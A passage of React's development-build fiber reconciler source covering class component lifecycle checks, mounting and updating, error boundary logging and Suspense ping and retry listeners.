    }
  };

  function checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext) {
    var instance = workInProgress.stateNode;

    if (typeof instance.shouldComponentUpdate === 'function') {
      var shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);

      {
        if ( workInProgress.mode & StrictLegacyMode) {
          setIsStrictModeForDevtools(true);

          try {
            // Invoke the function an extra time to help detect side-effects.
            shouldUpdate = instance.shouldComponentUpdate(newProps, newState, nextContext);
          } finally {
            setIsStrictModeForDevtools(false);
          }
        }

        if (shouldUpdate === undefined) {
          error('%s.shouldComponentUpdate(): Returned undefined instead of a ' + 'boolean value. Make sure to return true or false.', getComponentNameFromType(ctor) || 'Component');
        }
      }

      return shouldUpdate;
    }

    if (ctor.prototype && ctor.prototype.isPureReactComponent) {
      return !shallowEqual(oldProps, newProps) || !shallowEqual(oldState, newState);
    }

    return true;
  }

  function checkClassInstance(workInProgress, ctor, newProps) {
    var instance = workInProgress.stateNode;

    {
      var name = getComponentNameFromType(ctor) || 'Component';
      var renderPresent = instance.render;

      if (!renderPresent) {
        if (ctor.prototype && typeof ctor.prototype.render === 'function') {
          error('%s(...): No `render` method found on the returned component ' + 'instance: did you accidentally return an object from the constructor?', name);
        } else {
          error('%s(...): No `render` method found on the returned component ' + 'instance: you may have forgotten to define `render`.', name);
        }
      }

      if (instance.getInitialState && !instance.getInitialState.isReactClassApproved && !instance.state) {
        error('getInitialState was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Did you mean to define a state property instead?', name);
      }

      if (instance.getDefaultProps && !instance.getDefaultProps.isReactClassApproved) {
        error('getDefaultProps was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Use a static property to define defaultProps instead.', name);
      }

      if (instance.propTypes) {
        error('propTypes was defined as an instance property on %s. Use a static ' + 'property to define propTypes instead.', name);
      }

      if (instance.contextType) {
        error('contextType was defined as an instance property on %s. Use a static ' + 'property to define contextType instead.', name);
      }

      {
        if (ctor.childContextTypes && !didWarnAboutLegacyContext$1.has(ctor) && // Strict Mode has its own warning for legacy context, so we can skip
        // this one.
        (workInProgress.mode & StrictLegacyMode) === NoMode) {
          didWarnAboutLegacyContext$1.add(ctor);

          error('%s uses the legacy childContextTypes API which is no longer ' + 'supported and will be removed in the next major release. Use ' + 'React.createContext() instead\n\n.' + 'Learn more about this warning here: https://reactjs.org/link/legacy-context', name);
        }

        if (ctor.contextTypes && !didWarnAboutLegacyContext$1.has(ctor) && // Strict Mode has its own warning for legacy context, so we can skip
        // this one.
        (workInProgress.mode & StrictLegacyMode) === NoMode) {
          didWarnAboutLegacyContext$1.add(ctor);

          error('%s uses the legacy contextTypes API which is no longer supported ' + 'and will be removed in the next major release. Use ' + 'React.createContext() with static contextType instead.\n\n' + 'Learn more about this warning here: https://reactjs.org/link/legacy-context', name);
        }

        if (instance.contextTypes) {
          error('contextTypes was defined as an instance property on %s. Use a static ' + 'property to define contextTypes instead.', name);
        }

        if (ctor.contextType && ctor.contextTypes && !didWarnAboutContextTypeAndContextTypes.has(ctor)) {
          didWarnAboutContextTypeAndContextTypes.add(ctor);

          error('%s declares both contextTypes and contextType static properties. ' + 'The legacy contextTypes property will be ignored.', name);
        }
      }

      if (typeof instance.componentShouldUpdate === 'function') {
        error('%s has a method called ' + 'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' + 'The name is phrased as a question because the function is ' + 'expected to return a value.', name);
      }

      if (ctor.prototype && ctor.prototype.isPureReactComponent && typeof instance.shouldComponentUpdate !== 'undefined') {
        error('%s has a method called shouldComponentUpdate(). ' + 'shouldComponentUpdate should not be used when extending React.PureComponent. ' + 'Please extend React.Component if shouldComponentUpdate is used.', getComponentNameFromType(ctor) || 'A pure component');
      }

      if (typeof instance.componentDidUnmount === 'function') {
        error('%s has a method called ' + 'componentDidUnmount(). But there is no such lifecycle method. ' + 'Did you mean componentWillUnmount()?', name);
      }

      if (typeof instance.componentDidReceiveProps === 'function') {
        error('%s has a method called ' + 'componentDidReceiveProps(). But there is no such lifecycle method. ' + 'If you meant to update the state in response to changing props, ' + 'use componentWillReceiveProps(). If you meant to fetch data or ' + 'run side-effects or mutations after React has updated the UI, use componentDidUpdate().', name);
      }

      if (typeof instance.componentWillRecieveProps === 'function') {
        error('%s has a method called ' + 'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?', name);
      }

      if (typeof instance.UNSAFE_componentWillRecieveProps === 'function') {
        error('%s has a method called ' + 'UNSAFE_componentWillRecieveProps(). Did you mean UNSAFE_componentWillReceiveProps()?', name);
      }

      var hasMutatedProps = instance.props !== newProps;

      if (instance.props !== undefined && hasMutatedProps) {
        error('%s(...): When calling super() in `%s`, make sure to pass ' + "up the same props that your component's constructor was passed.", name, name);
      }

      if (instance.defaultProps) {
        error('Setting defaultProps as an instance property on %s is not supported and will be ignored.' + ' Instead, define defaultProps as a static property on %s.', name, name);
      }

      if (typeof instance.getSnapshotBeforeUpdate === 'function' && typeof instance.componentDidUpdate !== 'function' && !didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.has(ctor)) {
        didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.add(ctor);

        error('%s: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' + 'This component defines getSnapshotBeforeUpdate() only.', getComponentNameFromType(ctor));
      }

      if (typeof instance.getDerivedStateFromProps === 'function') {
        error('%s: getDerivedStateFromProps() is defined as an instance method ' + 'and will be ignored. Instead, declare it as a static method.', name);
      }

      if (typeof instance.getDerivedStateFromError === 'function') {
        error('%s: getDerivedStateFromError() is defined as an instance method ' + 'and will be ignored. Instead, declare it as a static method.', name);
      }

      if (typeof ctor.getSnapshotBeforeUpdate === 'function') {
        error('%s: getSnapshotBeforeUpdate() is defined as a static method ' + 'and will be ignored. Instead, declare it as an instance method.', name);
      }

      var _state = instance.state;

      if (_state && (typeof _state !== 'object' || isArray(_state))) {
        error('%s.state: must be set to an object or null', name);
      }

      if (typeof instance.getChildContext === 'function' && typeof ctor.childContextTypes !== 'object') {
        error('%s.getChildContext(): childContextTypes must be defined in order to ' + 'use getChildContext().', name);
      }
    }
  }

  function adoptClassInstance(workInProgress, instance) {
    instance.updater = classComponentUpdater;
    workInProgress.stateNode = instance; // The instance needs access to the fiber so that it can schedule updates

    set(instance, workInProgress);

    {
      instance._reactInternalInstance = fakeInternalInstance;
    }
  }

  function constructClassInstance(workInProgress, ctor, props) {
    var isLegacyContextConsumer = false;
    var unmaskedContext = emptyContextObject;
    var context = emptyContextObject;
    var contextType = ctor.contextType;

    {
      if ('contextType' in ctor) {
        var isValid = // Allow null for conditional declaration
        contextType === null || contextType !== undefined && contextType.$$typeof === REACT_CONTEXT_TYPE && contextType._context === undefined; // Not a <Context.Consumer>

        if (!isValid && !didWarnAboutInvalidateContextType.has(ctor)) {
          didWarnAboutInvalidateContextType.add(ctor);
          var addendum = '';

          if (contextType === undefined) {
            addendum = ' However, it is set to undefined. ' + 'This can be caused by a typo or by mixing up named and default imports. ' + 'This can also happen due to a circular dependency, so ' + 'try moving the createContext() call to a separate file.';
          } else if (typeof contextType !== 'object') {
            addendum = ' However, it is set to a ' + typeof contextType + '.';
          } else if (contextType.$$typeof === REACT_PROVIDER_TYPE) {
            addendum = ' Did you accidentally pass the Context.Provider instead?';
          } else if (contextType._context !== undefined) {
            // <Context.Consumer>
            addendum = ' Did you accidentally pass the Context.Consumer instead?';
          } else {
            addendum = ' However, it is set to an object with keys {' + Object.keys(contextType).join(', ') + '}.';
          }

          error('%s defines an invalid contextType. ' + 'contextType should point to the Context object returned by React.createContext().%s', getComponentNameFromType(ctor) || 'Component', addendum);
        }
      }
    }

    if (typeof contextType === 'object' && contextType !== null) {
      context = readContext(contextType);
    } else {
      unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
      var contextTypes = ctor.contextTypes;
      isLegacyContextConsumer = contextTypes !== null && contextTypes !== undefined;
      context = isLegacyContextConsumer ? getMaskedContext(workInProgress, unmaskedContext) : emptyContextObject;
    }

    var instance = new ctor(props, context); // Instantiate twice to help detect side-effects.

    {
      if ( workInProgress.mode & StrictLegacyMode) {
        setIsStrictModeForDevtools(true);

        try {
          instance = new ctor(props, context); // eslint-disable-line no-new
        } finally {
          setIsStrictModeForDevtools(false);
        }
      }
    }

    var state = workInProgress.memoizedState = instance.state !== null && instance.state !== undefined ? instance.state : null;
    adoptClassInstance(workInProgress, instance);

    {
      if (typeof ctor.getDerivedStateFromProps === 'function' && state === null) {
        var componentName = getComponentNameFromType(ctor) || 'Component';

        if (!didWarnAboutUninitializedState.has(componentName)) {
          didWarnAboutUninitializedState.add(componentName);

          error('`%s` uses `getDerivedStateFromProps` but its initial state is ' + '%s. This is not recommended. Instead, define the initial state by ' + 'assigning an object to `this.state` in the constructor of `%s`. ' + 'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.', componentName, instance.state === null ? 'null' : 'undefined', componentName);
        }
      } // If new component APIs are defined, "unsafe" lifecycles won't be called.
      // Warn about these lifecycles if they are present.
      // Don't warn about react-lifecycles-compat polyfilled methods though.


      if (typeof ctor.getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function') {
        var foundWillMountName = null;
        var foundWillReceivePropsName = null;
        var foundWillUpdateName = null;

        if (typeof instance.componentWillMount === 'function' && instance.componentWillMount.__suppressDeprecationWarning !== true) {
          foundWillMountName = 'componentWillMount';
        } else if (typeof instance.UNSAFE_componentWillMount === 'function') {
          foundWillMountName = 'UNSAFE_componentWillMount';
        }

        if (typeof instance.componentWillReceiveProps === 'function' && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
          foundWillReceivePropsName = 'componentWillReceiveProps';
        } else if (typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
          foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';
        }

        if (typeof instance.componentWillUpdate === 'function' && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
          foundWillUpdateName = 'componentWillUpdate';
        } else if (typeof instance.UNSAFE_componentWillUpdate === 'function') {
          foundWillUpdateName = 'UNSAFE_componentWillUpdate';
        }

        if (foundWillMountName !== null || foundWillReceivePropsName !== null || foundWillUpdateName !== null) {
          var _componentName = getComponentNameFromType(ctor) || 'Component';

          var newApiName = typeof ctor.getDerivedStateFromProps === 'function' ? 'getDerivedStateFromProps()' : 'getSnapshotBeforeUpdate()';

          if (!didWarnAboutLegacyLifecyclesAndDerivedState.has(_componentName)) {
            didWarnAboutLegacyLifecyclesAndDerivedState.add(_componentName);

            error('Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' + '%s uses %s but also contains the following legacy lifecycles:%s%s%s\n\n' + 'The above lifecycles should be removed. Learn more about this warning here:\n' + 'https://reactjs.org/link/unsafe-component-lifecycles', _componentName, newApiName, foundWillMountName !== null ? "\n  " + foundWillMountName : '', foundWillReceivePropsName !== null ? "\n  " + foundWillReceivePropsName : '', foundWillUpdateName !== null ? "\n  " + foundWillUpdateName : '');
          }
        }
      }
    } // Cache unmasked context so we can avoid recreating masked context unless necessary.
    // ReactFiberContext usually updates this cache but can't for newly-created instances.


    if (isLegacyContextConsumer) {
      cacheContext(workInProgress, unmaskedContext, context);
    }

    return instance;
  }

  function callComponentWillMount(workInProgress, instance) {
    var oldState = instance.state;

    if (typeof instance.componentWillMount === 'function') {
      instance.componentWillMount();
    }

    if (typeof instance.UNSAFE_componentWillMount === 'function') {
      instance.UNSAFE_componentWillMount();
    }

    if (oldState !== instance.state) {
      {
        error('%s.componentWillMount(): Assigning directly to this.state is ' + "deprecated (except inside a component's " + 'constructor). Use setState instead.', getComponentNameFromFiber(workInProgress) || 'Component');
      }

      classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
    }
  }

  function callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext) {
    var oldState = instance.state;

    if (typeof instance.componentWillReceiveProps === 'function') {
      instance.componentWillReceiveProps(newProps, nextContext);
    }

    if (typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
      instance.UNSAFE_componentWillReceiveProps(newProps, nextContext);
    }

    if (instance.state !== oldState) {
      {
        var componentName = getComponentNameFromFiber(workInProgress) || 'Component';

        if (!didWarnAboutStateAssignmentForComponent.has(componentName)) {
          didWarnAboutStateAssignmentForComponent.add(componentName);

          error('%s.componentWillReceiveProps(): Assigning directly to ' + "this.state is deprecated (except inside a component's " + 'constructor). Use setState instead.', componentName);
        }
      }

      classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
    }
  } // Invokes the mount life-cycles on a previously never rendered instance.


  function mountClassInstance(workInProgress, ctor, newProps, renderLanes) {
    {
      checkClassInstance(workInProgress, ctor, newProps);
    }

    var instance = workInProgress.stateNode;
    instance.props = newProps;
    instance.state = workInProgress.memoizedState;
    instance.refs = {};
    initializeUpdateQueue(workInProgress);
    var contextType = ctor.contextType;

    if (typeof contextType === 'object' && contextType !== null) {
      instance.context = readContext(contextType);
    } else {
      var unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
      instance.context = getMaskedContext(workInProgress, unmaskedContext);
    }

    {
      if (instance.state === newProps) {
        var componentName = getComponentNameFromType(ctor) || 'Component';

        if (!didWarnAboutDirectlyAssigningPropsToState.has(componentName)) {
          didWarnAboutDirectlyAssigningPropsToState.add(componentName);

          error('%s: It is not recommended to assign props directly to state ' + "because updates to props won't be reflected in state. " + 'In most cases, it is better to use props directly.', componentName);
        }
      }

      if (workInProgress.mode & StrictLegacyMode) {
        ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress, instance);
      }

      {
        ReactStrictModeWarnings.recordUnsafeLifecycleWarnings(workInProgress, instance);
      }
    }

    instance.state = workInProgress.memoizedState;
    var getDerivedStateFromProps = ctor.getDerivedStateFromProps;

    if (typeof getDerivedStateFromProps === 'function') {
      applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
      instance.state = workInProgress.memoizedState;
    } // In order to support react-lifecycles-compat polyfilled components,
    // Unsafe lifecycles should not be invoked for components using the new APIs.


    if (typeof ctor.getDerivedStateFromProps !== 'function' && typeof instance.getSnapshotBeforeUpdate !== 'function' && (typeof instance.UNSAFE_componentWillMount === 'function' || typeof instance.componentWillMount === 'function')) {
      callComponentWillMount(workInProgress, instance); // If we had additional state updates during this life-cycle, let's
      // process them now.

      processUpdateQueue(workInProgress, newProps, instance, renderLanes);
      instance.state = workInProgress.memoizedState;
    }

    if (typeof instance.componentDidMount === 'function') {
      var fiberFlags = Update;

      {
        fiberFlags |= LayoutStatic;
      }

      if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
        fiberFlags |= MountLayoutDev;
      }

      workInProgress.flags |= fiberFlags;
    }
  }

  function resumeMountClassInstance(workInProgress, ctor, newProps, renderLanes) {
    var instance = workInProgress.stateNode;
    var oldProps = workInProgress.memoizedProps;
    instance.props = oldProps;
    var oldContext = instance.context;
    var contextType = ctor.contextType;
    var nextContext = emptyContextObject;

    if (typeof contextType === 'object' && contextType !== null) {
      nextContext = readContext(contextType);
    } else {
      var nextLegacyUnmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
      nextContext = getMaskedContext(workInProgress, nextLegacyUnmaskedContext);
    }

    var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
    var hasNewLifecycles = typeof getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function'; // Note: During these life-cycles, instance.props/instance.state are what
    // ever the previously attempted to render - not the "current". However,
    // during componentDidUpdate we pass the "current" props.
    // In order to support react-lifecycles-compat polyfilled components,
    // Unsafe lifecycles should not be invoked for components using the new APIs.

    if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === 'function' || typeof instance.componentWillReceiveProps === 'function')) {
      if (oldProps !== newProps || oldContext !== nextContext) {
        callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext);
      }
    }

    resetHasForceUpdateBeforeProcessing();
    var oldState = workInProgress.memoizedState;
    var newState = instance.state = oldState;
    processUpdateQueue(workInProgress, newProps, instance, renderLanes);
    newState = workInProgress.memoizedState;

    if (oldProps === newProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing()) {
      // If an update was already in progress, we should schedule an Update
      // effect even though we're bailing out, so that cWU/cDU are called.
      if (typeof instance.componentDidMount === 'function') {
        var fiberFlags = Update;

        {
          fiberFlags |= LayoutStatic;
        }

        if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
          fiberFlags |= MountLayoutDev;
        }

        workInProgress.flags |= fiberFlags;
      }

      return false;
    }

    if (typeof getDerivedStateFromProps === 'function') {
      applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
      newState = workInProgress.memoizedState;
    }

    var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext);

    if (shouldUpdate) {
      // In order to support react-lifecycles-compat polyfilled components,
      // Unsafe lifecycles should not be invoked for components using the new APIs.
      if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillMount === 'function' || typeof instance.componentWillMount === 'function')) {
        if (typeof instance.componentWillMount === 'function') {
          instance.componentWillMount();
        }

        if (typeof instance.UNSAFE_componentWillMount === 'function') {
          instance.UNSAFE_componentWillMount();
        }
      }

      if (typeof instance.componentDidMount === 'function') {
        var _fiberFlags = Update;

        {
          _fiberFlags |= LayoutStatic;
        }

        if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
          _fiberFlags |= MountLayoutDev;
        }

        workInProgress.flags |= _fiberFlags;
      }
    } else {
      // If an update was already in progress, we should schedule an Update
      // effect even though we're bailing out, so that cWU/cDU are called.
      if (typeof instance.componentDidMount === 'function') {
        var _fiberFlags2 = Update;

        {
          _fiberFlags2 |= LayoutStatic;
        }

        if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
          _fiberFlags2 |= MountLayoutDev;
        }

        workInProgress.flags |= _fiberFlags2;
      } // If shouldComponentUpdate returned false, we should still update the
      // memoized state to indicate that this work can be reused.


      workInProgress.memoizedProps = newProps;
      workInProgress.memoizedState = newState;
    } // Update the existing instance's state, props, and context pointers even
    // if shouldComponentUpdate returns false.


    instance.props = newProps;
    instance.state = newState;
    instance.context = nextContext;
    return shouldUpdate;
  } // Invokes the update life-cycles and returns false if it shouldn't rerender.


  function updateClassInstance(current, workInProgress, ctor, newProps, renderLanes) {
    var instance = workInProgress.stateNode;
    cloneUpdateQueue(current, workInProgress);
    var unresolvedOldProps = workInProgress.memoizedProps;
    var oldProps = workInProgress.type === workInProgress.elementType ? unresolvedOldProps : resolveDefaultProps(workInProgress.type, unresolvedOldProps);
    instance.props = oldProps;
    var unresolvedNewProps = workInProgress.pendingProps;
    var oldContext = instance.context;
    var contextType = ctor.contextType;
    var nextContext = emptyContextObject;

    if (typeof contextType === 'object' && contextType !== null) {
      nextContext = readContext(contextType);
    } else {
      var nextUnmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
      nextContext = getMaskedContext(workInProgress, nextUnmaskedContext);
    }

    var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
    var hasNewLifecycles = typeof getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function'; // Note: During these life-cycles, instance.props/instance.state are what
    // ever the previously attempted to render - not the "current". However,
    // during componentDidUpdate we pass the "current" props.
    // In order to support react-lifecycles-compat polyfilled components,
    // Unsafe lifecycles should not be invoked for components using the new APIs.

    if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === 'function' || typeof instance.componentWillReceiveProps === 'function')) {
      if (unresolvedOldProps !== unresolvedNewProps || oldContext !== nextContext) {
        callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext);
      }
    }

    resetHasForceUpdateBeforeProcessing();
    var oldState = workInProgress.memoizedState;
    var newState = instance.state = oldState;
    processUpdateQueue(workInProgress, newProps, instance, renderLanes);
    newState = workInProgress.memoizedState;

    if (unresolvedOldProps === unresolvedNewProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing() && !(enableLazyContextPropagation   )) {
      // If an update was already in progress, we should schedule an Update
      // effect even though we're bailing out, so that cWU/cDU are called.
      if (typeof instance.componentDidUpdate === 'function') {
        if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
          workInProgress.flags |= Update;
        }
      }

      if (typeof instance.getSnapshotBeforeUpdate === 'function') {
        if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
          workInProgress.flags |= Snapshot;
        }
      }

      return false;
    }

    if (typeof getDerivedStateFromProps === 'function') {
      applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
      newState = workInProgress.memoizedState;
    }

    var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext) || // TODO: In some cases, we'll end up checking if context has changed twice,
    // both before and after `shouldComponentUpdate` has been called. Not ideal,
    // but I'm loath to refactor this function. This only happens for memoized
    // components so it's not that common.
    enableLazyContextPropagation   ;

    if (shouldUpdate) {
      // In order to support react-lifecycles-compat polyfilled components,
      // Unsafe lifecycles should not be invoked for components using the new APIs.
      if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillUpdate === 'function' || typeof instance.componentWillUpdate === 'function')) {
        if (typeof instance.componentWillUpdate === 'function') {
          instance.componentWillUpdate(newProps, newState, nextContext);
        }

        if (typeof instance.UNSAFE_componentWillUpdate === 'function') {
          instance.UNSAFE_componentWillUpdate(newProps, newState, nextContext);
        }
      }

      if (typeof instance.componentDidUpdate === 'function') {
        workInProgress.flags |= Update;
      }

      if (typeof instance.getSnapshotBeforeUpdate === 'function') {
        workInProgress.flags |= Snapshot;
      }
    } else {
      // If an update was already in progress, we should schedule an Update
      // effect even though we're bailing out, so that cWU/cDU are called.
      if (typeof instance.componentDidUpdate === 'function') {
        if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
          workInProgress.flags |= Update;
        }
      }

      if (typeof instance.getSnapshotBeforeUpdate === 'function') {
        if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
          workInProgress.flags |= Snapshot;
        }
      } // If shouldComponentUpdate returned false, we should still update the
      // memoized props/state to indicate that this work can be reused.


      workInProgress.memoizedProps = newProps;
      workInProgress.memoizedState = newState;
    } // Update the existing instance's state, props, and context pointers even
    // if shouldComponentUpdate returns false.


    instance.props = newProps;
    instance.state = newState;
    instance.context = nextContext;
    return shouldUpdate;
  }

  function createCapturedValueAtFiber(value, source) {
    // If the value is an error, call this function immediately after it is thrown
    // so the stack is accurate.
    return {
      value: value,
      source: source,
      stack: getStackByFiberInDevAndProd(source),
      digest: null
    };
  }
  function createCapturedValue(value, digest, stack) {
    return {
      value: value,
      source: null,
      stack: stack != null ? stack : null,
      digest: digest != null ? digest : null
    };
  }

  // This module is forked in different environments.
  // By default, return `true` to log errors to the console.
  // Forks can return `false` if this isn't desirable.
  function showErrorDialog(boundary, errorInfo) {
    return true;
  }

  function logCapturedError(boundary, errorInfo) {
    try {
      var logError = showErrorDialog(boundary, errorInfo); // Allow injected showErrorDialog() to prevent default console.error logging.
      // This enables renderers like ReactNative to better manage redbox behavior.

      if (logError === false) {
        return;
      }

      var error = errorInfo.value;

      if (true) {
        var source = errorInfo.source;
        var stack = errorInfo.stack;
        var componentStack = stack !== null ? stack : ''; // Browsers support silencing uncaught errors by calling
        // `preventDefault()` in window `error` handler.
        // We record this information as an expando on the error.

        if (error != null && error._suppressLogging) {
          if (boundary.tag === ClassComponent) {
            // The error is recoverable and was silenced.
            // Ignore it and don't print the stack addendum.
            // This is handy for testing error boundaries without noise.
            return;
          } // The error is fatal. Since the silencing might have
          // been accidental, we'll surface it anyway.
          // However, the browser would have silenced the original error
          // so we'll print it first, and then print the stack addendum.


          console['error'](error); // Don't transform to our wrapper
          // For a more detailed description of this block, see:
          // https://github.com/facebook/react/pull/13384
        }

        var componentName = source ? getComponentNameFromFiber(source) : null;
        var componentNameMessage = componentName ? "The above error occurred in the <" + componentName + "> component:" : 'The above error occurred in one of your React components:';
        var errorBoundaryMessage;

        if (boundary.tag === HostRoot) {
          errorBoundaryMessage = 'Consider adding an error boundary to your tree to customize error handling behavior.\n' + 'Visit https://reactjs.org/link/error-boundaries to learn more about error boundaries.';
        } else {
          var errorBoundaryName = getComponentNameFromFiber(boundary) || 'Anonymous';
          errorBoundaryMessage = "React will try to recreate this component tree from scratch " + ("using the error boundary you provided, " + errorBoundaryName + ".");
        }

        var combinedMessage = componentNameMessage + "\n" + componentStack + "\n\n" + ("" + errorBoundaryMessage); // In development, we provide our own message with just the component stack.
        // We don't include the original error message and JS stack because the browser
        // has already printed it. Even if the application swallows the error, it is still
        // displayed by the browser thanks to the DEV-only fake event trick in ReactErrorUtils.

        console['error'](combinedMessage); // Don't transform to our wrapper
      } else {
        // In production, we print the error directly.
        // This will include the message, the JS stack, and anything the browser wants to show.
        // We pass the error object instead of custom message so that the browser displays the error natively.
        console['error'](error); // Don't transform to our wrapper
      }
    } catch (e) {
      // This method must not throw, or React internal state will get messed up.
      // If console.error is overridden, or logCapturedError() shows a dialog that throws,
      // we want to report this error outside of the normal stack as a last resort.
      // https://github.com/facebook/react/issues/13188
      setTimeout(function () {
        throw e;
      });
    }
  }

  var PossiblyWeakMap$1 = typeof WeakMap === 'function' ? WeakMap : Map;

  function createRootErrorUpdate(fiber, errorInfo, lane) {
    var update = createUpdate(NoTimestamp, lane); // Unmount the root by rendering null.

    update.tag = CaptureUpdate; // Caution: React DevTools currently depends on this property
    // being called "element".

    update.payload = {
      element: null
    };
    var error = errorInfo.value;

    update.callback = function () {
      onUncaughtError(error);
      logCapturedError(fiber, errorInfo);
    };

    return update;
  }

  function createClassErrorUpdate(fiber, errorInfo, lane) {
    var update = createUpdate(NoTimestamp, lane);
    update.tag = CaptureUpdate;
    var getDerivedStateFromError = fiber.type.getDerivedStateFromError;

    if (typeof getDerivedStateFromError === 'function') {
      var error$1 = errorInfo.value;

      update.payload = function () {
        return getDerivedStateFromError(error$1);
      };

      update.callback = function () {
        {
          markFailedErrorBoundaryForHotReloading(fiber);
        }

        logCapturedError(fiber, errorInfo);
      };
    }

    var inst = fiber.stateNode;

    if (inst !== null && typeof inst.componentDidCatch === 'function') {
      update.callback = function callback() {
        {
          markFailedErrorBoundaryForHotReloading(fiber);
        }

        logCapturedError(fiber, errorInfo);

        if (typeof getDerivedStateFromError !== 'function') {
          // To preserve the preexisting retry behavior of error boundaries,
          // we keep track of which ones already failed during this batch.
          // This gets reset before we yield back to the browser.
          // TODO: Warn in strict mode if getDerivedStateFromError is
          // not defined.
          markLegacyErrorBoundaryAsFailed(this);
        }

        var error$1 = errorInfo.value;
        var stack = errorInfo.stack;
        this.componentDidCatch(error$1, {
          componentStack: stack !== null ? stack : ''
        });

        {
          if (typeof getDerivedStateFromError !== 'function') {
            // If componentDidCatch is the only error boundary method defined,
            // then it needs to call setState to recover from errors.
            // If no state update is scheduled then the boundary will swallow the error.
            if (!includesSomeLane(fiber.lanes, SyncLane)) {
              error('%s: Error boundaries should implement getDerivedStateFromError(). ' + 'In that method, return a state update to display an error message or fallback UI.', getComponentNameFromFiber(fiber) || 'Unknown');
            }
          }
        }
      };
    }

    return update;
  }

  function attachPingListener(root, wakeable, lanes) {
    // Attach a ping listener
    //
    // The data might resolve before we have a chance to commit the fallback. Or,
    // in the case of a refresh, we'll never commit a fallback. So we need to
    // attach a listener now. When it resolves ("pings"), we can decide whether to
    // try rendering the tree again.
    //
    // Only attach a listener if one does not already exist for the lanes
    // we're currently rendering (which acts like a "thread ID" here).
    //
    // We only need to do this in concurrent mode. Legacy Suspense always
    // commits fallbacks synchronously, so there are no pings.
    var pingCache = root.pingCache;
    var threadIDs;

    if (pingCache === null) {
      pingCache = root.pingCache = new PossiblyWeakMap$1();
      threadIDs = new Set();
      pingCache.set(wakeable, threadIDs);
    } else {
      threadIDs = pingCache.get(wakeable);

      if (threadIDs === undefined) {
        threadIDs = new Set();
        pingCache.set(wakeable, threadIDs);
      }
    }

    if (!threadIDs.has(lanes)) {
      // Memoize using the thread ID to prevent redundant listeners.
      threadIDs.add(lanes);
      var ping = pingSuspendedRoot.bind(null, root, wakeable, lanes);

      {
        if (isDevToolsPresent) {
          // If we have pending work still, restore the original updaters
          restorePendingUpdaters(root, lanes);
        }
      }

      wakeable.then(ping, ping);
    }
  }

  function attachRetryListener(suspenseBoundary, root, wakeable, lanes) {
    // Retry listener
    //
    // If the fallback does commit, we need to attach a different type of
    // listener. This one schedules an update on the Suspense boundary to turn
    // the fallback state off.
    //
    // Stash the wakeable on the boundary fiber so we can access it in the
    // commit phase.
    //
    // When the wakeable resolves, we'll attempt to render the boundary
    // again ("retry").
    var wakeables = suspenseBoundary.updateQueue;

    if (wakeables === null) {
      var updateQueue = new Set();
      updateQueue.add(wakeable);
      suspenseBoundary.updateQueue = updateQueue;
    } else {
      wakeables.add(wakeable);
    }
  }

  function resetSuspendedComponent(sourceFiber, rootRenderLanes) {
    // A legacy mode Suspense quirk, only relevant to hook components.


    var tag = sourceFiber.tag;

    if ((sourceFiber.mode & ConcurrentMode) === NoMode && (tag === FunctionComponent || tag === ForwardRef || tag === SimpleMemoComponent)) {
      var currentSource = sourceFiber.alternate;

      if (currentSource) {
        sourceFiber.updateQueue = currentSource.updateQueue;
        sourceFiber.memoizedState = currentSource.memoizedState;
        sourceFiber.lanes = currentSource.lanes;
      } else {
        sourceFiber.updateQueue = null;
        sourceFiber.memoizedState = null;
      }
    }
  }

